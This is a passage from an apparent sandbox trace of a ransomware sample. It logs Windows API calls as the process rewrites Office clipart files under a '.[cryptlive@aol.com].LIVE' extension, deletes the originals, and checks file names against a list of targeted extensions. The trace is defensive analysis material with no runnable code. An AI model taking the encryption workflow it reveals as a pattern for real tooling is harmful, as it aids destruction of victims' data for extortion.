0x390 [0136.776] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0136.776] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0136.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0136.777] GetLastError () returned 0x0 [0136.777] ReadFile (in: hFile=0x390, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x265a, lpOverlapped=0x0) returned 1 [0136.805] WriteFile (in: hFile=0x384, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x2660, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x2660, lpOverlapped=0x0) returned 1 [0136.806] ReadFile (in: hFile=0x390, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0136.806] WriteFile (in: hFile=0x384, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0136.806] SetEndOfFile (hFile=0x384) returned 1 [0136.806] CloseHandle (hObject=0x384) returned 1 [0136.806] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0136.806] SetEndOfFile (hFile=0x390) returned 1 [0136.808] CloseHandle (hObject=0x390) returned 1 [0136.808] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0136.809] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf")) returned 1 [0136.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0136.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0136.810] lstrlenW (lpString=".doc") returned 4 [0136.810] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0136.810] lstrlenW (lpString=".docx") returned 5 [0136.810] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0136.810] lstrlenW (lpString=".pdf") returned 4 [0136.810] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0136.810] lstrlenW (lpString=".xls") returned 4 [0136.810] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0136.810] lstrlenW (lpString=".xlsx") returned 5 [0136.810] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0136.810] lstrlenW (lpString=".ppt") returned 4 [0136.810] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0136.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0136.810] lstrlenW (lpString=".zip") returned 4 [0136.810] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0136.810] lstrlenW (lpString=".rar") returned 4 [0136.810] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0136.810] lstrlenW (lpString=".bz2") returned 4 [0136.810] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0136.810] lstrlenW (lpString=".7z") returned 3 [0136.811] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0136.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0136.811] lstrlenW (lpString=".dbf") returned 4 [0136.811] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0136.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0136.811] lstrlenW (lpString=".1cd") returned 4 [0136.811] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0136.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0136.811] lstrlenW (lpString=".jpg") returned 4 [0136.811] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0136.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0136.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0136.811] lstrlenW (lpString=".doc") returned 4 [0136.811] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0136.811] lstrlenW (lpString=".docx") returned 5 [0136.811] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0136.811] lstrlenW (lpString=".pdf") returned 4 [0136.811] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0136.811] lstrlenW (lpString=".xls") returned 4 [0136.811] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0136.811] lstrlenW (lpString=".xlsx") returned 5 [0136.811] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0136.811] lstrlenW (lpString=".ppt") returned 4 [0136.811] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0136.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0136.811] lstrlenW (lpString=".zip") returned 4 [0136.811] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0136.811] lstrlenW (lpString=".rar") returned 4 [0136.811] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0136.811] lstrlenW (lpString=".bz2") returned 4 [0136.812] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0136.812] lstrlenW (lpString=".7z") returned 3 [0136.812] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0136.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0136.812] lstrlenW (lpString=".dbf") returned 4 [0136.812] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0136.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0136.812] lstrlenW (lpString=".1cd") returned 4 [0136.812] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0136.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0136.812] lstrlenW (lpString=".jpg") returned 4 [0136.812] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0136.812] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0136.812] lstrlenW (lpString="BL00152_.WMF") returned 12 [0136.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0136.812] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=1516) returned 1 [0136.813] CloseHandle (hObject=0x390) returned 1 [0136.813] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf")) returned 0x20 [0136.813] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0136.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0136.813] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0136.813] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0136.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0136.814] GetLastError () returned 0x0 [0136.814] ReadFile (in: hFile=0x390, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x5ec, lpOverlapped=0x0) returned 1 [0136.852] WriteFile (in: hFile=0x384, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x5f0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x5f0, lpOverlapped=0x0) returned 1 [0136.852] ReadFile (in: hFile=0x390, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0136.853] WriteFile (in: hFile=0x384, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0136.853] SetEndOfFile (hFile=0x384) returned 1 [0136.853] CloseHandle (hObject=0x384) returned 1 [0136.853] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0136.853] SetEndOfFile (hFile=0x390) returned 1 [0136.855] CloseHandle (hObject=0x390) returned 1 [0136.855] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0136.863] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf")) returned 1 [0136.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0136.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0136.893] lstrlenW (lpString=".doc") returned 4 [0136.893] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0136.893] lstrlenW (lpString=".docx") returned 5 [0136.893] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0136.893] lstrlenW (lpString=".pdf") returned 4 [0136.893] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0136.893] lstrlenW (lpString=".xls") returned 4 [0136.893] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0136.893] lstrlenW (lpString=".xlsx") returned 5 [0136.893] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0136.893] lstrlenW (lpString=".ppt") returned 4 [0136.893] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0136.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0136.893] lstrlenW (lpString=".zip") returned 4 [0136.893] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0136.893] lstrlenW (lpString=".rar") returned 4 [0136.893] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0136.893] lstrlenW (lpString=".bz2") returned 4 [0136.893] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0136.893] lstrlenW (lpString=".7z") returned 3 [0136.893] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0136.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0136.893] lstrlenW (lpString=".dbf") returned 4 [0136.893] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0136.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0136.893] lstrlenW (lpString=".1cd") returned 4 [0136.893] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0136.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0136.893] lstrlenW (lpString=".jpg") returned 4 [0136.893] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0136.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0136.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0136.893] lstrlenW (lpString=".doc") returned 4 [0136.893] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0136.894] lstrlenW (lpString=".docx") returned 5 [0136.894] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0136.894] lstrlenW (lpString=".pdf") returned 4 [0136.894] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0136.894] lstrlenW (lpString=".xls") returned 4 [0136.894] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0136.894] lstrlenW (lpString=".xlsx") returned 5 [0136.894] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0136.894] lstrlenW (lpString=".ppt") returned 4 [0136.894] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0136.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0136.894] lstrlenW (lpString=".zip") returned 4 [0136.894] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0136.894] lstrlenW (lpString=".rar") returned 4 [0136.894] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0136.894] lstrlenW (lpString=".bz2") returned 4 [0136.894] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0136.894] lstrlenW (lpString=".7z") returned 3 [0136.894] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0136.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0136.894] lstrlenW (lpString=".dbf") returned 4 [0136.894] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0136.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0136.894] lstrlenW (lpString=".1cd") returned 4 [0136.894] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0136.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0136.894] lstrlenW (lpString=".jpg") returned 4 [0136.894] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0136.894] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0136.894] lstrlenW (lpString="BL00248_.WMF") returned 12 [0136.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0136.895] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=1536) returned 1 [0136.895] CloseHandle (hObject=0x3a4) returned 1 [0136.895] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf")) returned 0x20 [0136.895] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0136.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0136.895] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0136.895] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0136.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0136.896] GetLastError () returned 0x0 [0136.896] ReadFile (in: hFile=0x3a4, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x600, lpOverlapped=0x0) returned 1 [0136.914] WriteFile (in: hFile=0x38c, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x610, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x610, lpOverlapped=0x0) returned 1 [0136.915] ReadFile (in: hFile=0x3a4, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0136.915] WriteFile (in: hFile=0x38c, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0136.915] SetEndOfFile (hFile=0x38c) returned 1 [0136.915] CloseHandle (hObject=0x38c) returned 1 [0136.916] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0136.916] SetEndOfFile (hFile=0x3a4) returned 1 [0136.918] CloseHandle (hObject=0x3a4) returned 1 [0136.919] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0136.919] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf")) returned 1 [0136.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0136.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0136.919] lstrlenW (lpString=".doc") returned 4 [0136.919] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0136.919] lstrlenW (lpString=".docx") returned 5 [0136.919] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0136.919] lstrlenW (lpString=".pdf") returned 4 [0136.919] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0136.919] lstrlenW (lpString=".xls") returned 4 [0136.919] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0136.919] lstrlenW (lpString=".xlsx") returned 5 [0136.920] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0136.920] lstrlenW (lpString=".ppt") returned 4 [0136.920] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0136.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0136.920] lstrlenW (lpString=".zip") returned 4 [0136.920] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0136.920] lstrlenW (lpString=".rar") returned 4 [0136.920] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0136.920] lstrlenW (lpString=".bz2") returned 4 [0136.920] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0136.920] lstrlenW (lpString=".7z") returned 3 [0136.920] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0136.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0136.920] lstrlenW (lpString=".dbf") returned 4 [0136.920] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0136.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0136.920] lstrlenW (lpString=".1cd") returned 4 [0136.920] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0136.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0136.920] lstrlenW (lpString=".jpg") returned 4 [0136.920] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0136.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0136.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0136.920] lstrlenW (lpString=".doc") returned 4 [0136.920] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0136.920] lstrlenW (lpString=".docx") returned 5 [0136.920] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0136.920] lstrlenW (lpString=".pdf") returned 4 [0136.920] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0136.920] lstrlenW (lpString=".xls") returned 4 [0136.920] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0136.920] lstrlenW (lpString=".xlsx") returned 5 [0136.920] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0136.920] lstrlenW (lpString=".ppt") returned 4 [0136.920] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0136.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0136.921] lstrlenW (lpString=".zip") returned 4 [0136.921] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0136.921] lstrlenW (lpString=".rar") returned 4 [0136.921] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0136.921] lstrlenW (lpString=".bz2") returned 4 [0136.921] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0136.921] lstrlenW (lpString=".7z") returned 3 [0136.921] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0136.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0136.921] lstrlenW (lpString=".dbf") returned 4 [0136.921] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0136.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0136.921] lstrlenW (lpString=".1cd") returned 4 [0136.921] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0136.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0136.921] lstrlenW (lpString=".jpg") returned 4 [0136.921] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0136.921] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0136.921] lstrlenW (lpString="BL00254_.WMF") returned 12 [0136.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0136.934] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=1736) returned 1 [0136.934] CloseHandle (hObject=0x384) returned 1 [0136.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf")) returned 0x20 [0136.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0136.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0136.934] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0136.934] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0136.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 